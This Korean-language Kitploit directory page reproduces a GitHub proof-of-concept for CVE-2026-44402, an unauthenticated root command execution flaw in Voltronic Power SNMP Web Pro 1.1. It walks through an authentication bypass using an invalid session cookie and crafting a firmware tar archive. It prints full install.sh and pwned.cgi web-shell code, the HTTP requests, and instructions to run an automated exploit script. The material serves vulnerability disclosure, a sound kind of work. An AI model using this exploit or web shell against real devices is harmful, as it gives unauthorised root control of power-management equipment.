Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44402 — Voltronic Power SNMP Web Pro 1.1에서 사전 인증 없는 전체 루트 원격 명령 실행 | Kitploit
도구/GitHubGitHub/virgula0/cve-2026-44402
Embedded Systems SecurityIoT SecurityExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingPayload Development
GitHubvirgula0/cve-2026-44402

CVE-2026-44402

Voltronic Power SNMP Web Pro 1.1에서 사전 인증 없는 전체 루트 원격 명령 실행

저장소 보기
18일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44402

Voltronic Power SNMP Web Pro 1.1에서의 인증 전 전체 원격 명령 실행

내용

  • 영향받는 공급업체: https://voltronicpower.com/
  • 영향받는 제품: SNMP Web pro 1.1

SNMP Web Pro 1.1의 upload.cgi 엔드포인트에는 인증이 필요 없는 원격 코드 실행 취약점이 존재합니다. 펌웨어 업데이트 기능은 사용자가 tar 아카이브를 업로드하면 이를 아무런 입력 검증이나 보안 검사 없이 추출 및 설치하도록 허용합니다. 애플리케이션이 아카이브 콘텐츠를 제한하거나 검증하지 않으므로, 공격자는 악성 CGI 스크립트가 포함된 조작된 아카이브를 업로드할 수 있습니다. 약간의 시행착오와 각 응답에서 누출되는 정보의 도움을 받으면, 서버가 기대하는 정확한 아카이브 형식을 알아내 악성 아카이브를 제작할 수 있습니다.

또한 해당 엔드포인트는 인증을 제대로 검증하지 않습니다. 프런트엔드에서는 로그인이 명확히 요구되지만, 조작되었거나 유효하지 않은 세션 쿠키를 제공하는 것만으로 접근 제어를 우회하고 유효한 자격 증명 없이 취약한 기능에 도달할 수 있습니다.

악용에 성공하면 공격자는 CGI 서버 디렉터리에 임의의 실행 파일을 배치하고 루트 권한으로 명령을 실행할 수 있습니다.

POC 실행

root@kitploit:~
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py

라이트업

다음의 모든 과정은 로컬 인스턴스(http://localhost:5555)를 대상으로 수행되었습니다. 이 전체 작업을 처음부터 쉽게 만드는 두 가지 요소가 있습니다:

  1. 백엔드는 세션을 전혀 검증하지 않습니다. 모든 요청에 Cookie: -http-session-=NOT_VALID 헤더 하나만 포함하면 됩니다. sid 쿼리 매개변수는 프런트엔드 JavaScript가 생성하는 임의 값이며, 서버 역시 이를 무시합니다.
  2. 오류 메시지가 HTTP 응답 본문에 그대로 반영됩니다. 계획은 다음과 같습니다. 엔드포인트를 찔러 보고, 서버가 무엇을 불평하는지 읽은 다음, 서버가 원하는 것을 정확히 제공합니다. 서버가 원하는 것이 우리의 셸이 될 때까지 말이죠.

아래 단계들은 이러한 루프를 따릅니다. 요청은 서버가 실제로 신경 쓰는 최소한의 헤더만 남겨 축약했습니다.

1단계 - 정찰: extract 호출이 내부 정보를 드러낸다

첫 번째 요청만으로도 서버가 펌웨어 아카이브가 어디에 있어야 한다고 기대하는지 알 수 있습니다. params=extract가 CGI에 아카이브를 수신하라고 요청하는 것이 아니라 추출하라고 요청한다는 점에 유의하세요. 아직 아무것도 업로드되지 않았으며, 엔드포인트는 디스크에 있다고 기대하는 파일을 그냥 풀어보려고 할 뿐입니다.

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID

응답:

root@kitploit:~
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124

tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8

upgrade=extract
(NAK

응답 본문은 금광입니다. 작업 실패를 알려주는 (NAK(부정 응답) 외에도, tar 바이너리의 원시 출력이 응답에 그대로 포함되어 있습니다. 즉 /root/upgrade.tar.gz를 추출하려고 하고 있다는 뜻입니다. 또한 대상 설치 경로가 /root라는 점에 주목하세요. 우리는 권한 있는 프로세스와 대화하고 있습니다.

악용 계획을 위한 두 가지 사실:

  • 우리가 업로드하는 파일은 무엇이든 upgrade.tar.gz로 이름이 바뀌어 /root에 배치됩니다. 파일 이름은 중요하지 않습니다.
  • 방금 본 오류 텍스트는 실패할 때마다 다시 나타날 것입니다. 이것이 우리의 치트 시트입니다.

2단계 - 무해한 아카이브 업로드 및 추출

먼저 더미 tar 아카이브를 생성합니다 (업로드는 multipart POST이며, 그 트레이스는 흥미롭지 않습니다. 모든 동작은 GET 호출이 주도합니다):

root@kitploit:~
tar czvf test.tar.gz test.txt
test.txt

사이클을 시작합니다: 아카이브를 업로드한 다음 추출합니다:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=extract
(ACK

(ACK - 추출이 아무 불평 없이 통과했습니다. 이 사이클(업로드 -> 추출 -> 설치)이 이번 악용 전체의 구조입니다. 이후로는 install 단계만 달라지므로, 다음 트레이스들은 요청 라인과 응답 본문만 보여줍니다 (헤더는 위와 동일합니다).

3단계 - Install은 까다롭다: upgrade라는 폴더를 요구한다

추출은 정상 동작합니다. 이제 설치할 차례입니다. 예상대로 응답이 다릅니다:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63

upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*

다시 (ACK가 표시되지만, 셸 명령의 잔해가 누출됩니다: cd: line 1: can't cd to /root/upgrade*. 설치 프로그램은 임의의 셸을 실행하며, 추출된 아카이브 안에서 upgrade라는 이름의 폴더로 확장되는 글로브(glob)로 cd를 시도합니다. 우리의 무해한 평면 아카이브(루트에 있는 test.txt)는 이 글로브를 충족하지 못합니다. 해결책은 간단합니다: 최상위 upgrade/ 디렉터리로 다시 패키징하면 됩니다.

root@kitploit:~
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt

그런 다음 사이클의 처음 두 단계를 반복합니다: 재업로드, 재추출.

4단계 - 오류 하나 더 얻어내기: 이번에는 install.sh를 요구한다

동일한 install 호출을 다시 수행하면, 누출되는 정보가 더욱 유용해집니다:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65

upgrade=install
(ACKchmod: install.sh: No such file or directory

install.sh라는 스크립트에 chmod를 수행합니다. 즉 설치 절차가 아카이브의 셸 스크립트를 root로 실행한다는 뜻입니다. 이 시점에서 우리는 아카이브의 모든 파일을 제어하므로 해당 스크립트도 제어합니다. 이것이 한 줄로 요약되는 취약점의 전부입니다: 인증 없이, 루트 권한으로 실행되는 임의의 파일.

5단계 - CGI 셸 배포

upgrade/ 디렉터리 안에 install.sh와 pwned.cgi를 생성합니다 (두 파일 모두 이 저장소의 upgrade/ 폴더에도 포함되어 있습니다).

install.sh는 물리적 배치를 풀어내어 우리 스크립트가 웹 루트 CGI 디렉터리에 놓이도록 한 다음, 권한을 수정합니다:

root@kitploit:~
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)

# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt

# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi

# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi

pwned.cgi는 최소한의 명령 디스패처 CGI입니다. cmd 쿼리 매개변수를 받아 URL 디코딩한 뒤 eval에 전달합니다. 이것이 바로 원격 셸입니다:

root@kitploit:~
cat upgrade/pwned.cgi
#!/bin/sh

echo "Content-Type: text/plain"
echo ""

# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"

# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')

# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')

if [ -z "$CMD" ]; then
    echo "No cmd parameter provided."
    exit 0
fi

# Execute the command and return its output
eval "$CMD" 2>&1

아카이브를 다시 패키징합니다:

root@kitploit:~
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi

그리고 마지막으로 전체 사이클을 한 번 더 실행합니다:

  • 재업로드
  • 재추출
  • 재설치:
root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=install
(ACK

이번에는 오류 누출 없이 깨끗한 (ACK가 반환되었습니다. 설치 프로그램은 불평 없이 우리 스크립트를 실행했으며, 이제 pwned.cgi가 CGI 디렉터리에 위치해 있을 것입니다. 간단한 whoami로 확인할 수 있습니다 (URL을 따옴표로 감싸야 합니다. ;는 셸 구분자이며 CGI 파서가 이를 제대로 처리하지 못합니다):

root@kitploit:~
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root@kitploit:~
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux

장치의 ARM Linux에서 root 권한을 획득했습니다. 자격 증명 0개에서 root 셸까지, 전체 과정에는 위의 두 가지 정보 누출과 tar 아카이브 하나만 필요했습니다.

영향을 받는 버전

image

패치가 제공되나요?

아니요, 공급업체가 아직 답변을 제공하지 않았습니다. 인증이 포함된 ngnix 리버스 프록시를 사용하여 대상을 보호하세요.

자동화

poc.py는 수동 사이클을 1:1로 자동화합니다. create_in_memory_tar_archive()는 5단계의 아카이브를 메모리에서 생성하고(install.sh + POST 기반 변형 pwned.cgi), 그다음 upload_archive(), extract_firmware(), install_firmware()가 2~4단계를 재현하며, verify_exploit_uploaded()는 CGI가 나타날 때까지 대기하고, spawn_non_interactive_shell()은 명령이 base64로 인코딩되어 pwned.cgi로 POST되는 >>> 프롬프트로 안내합니다.

동영상

Watch the video

도구 다운로드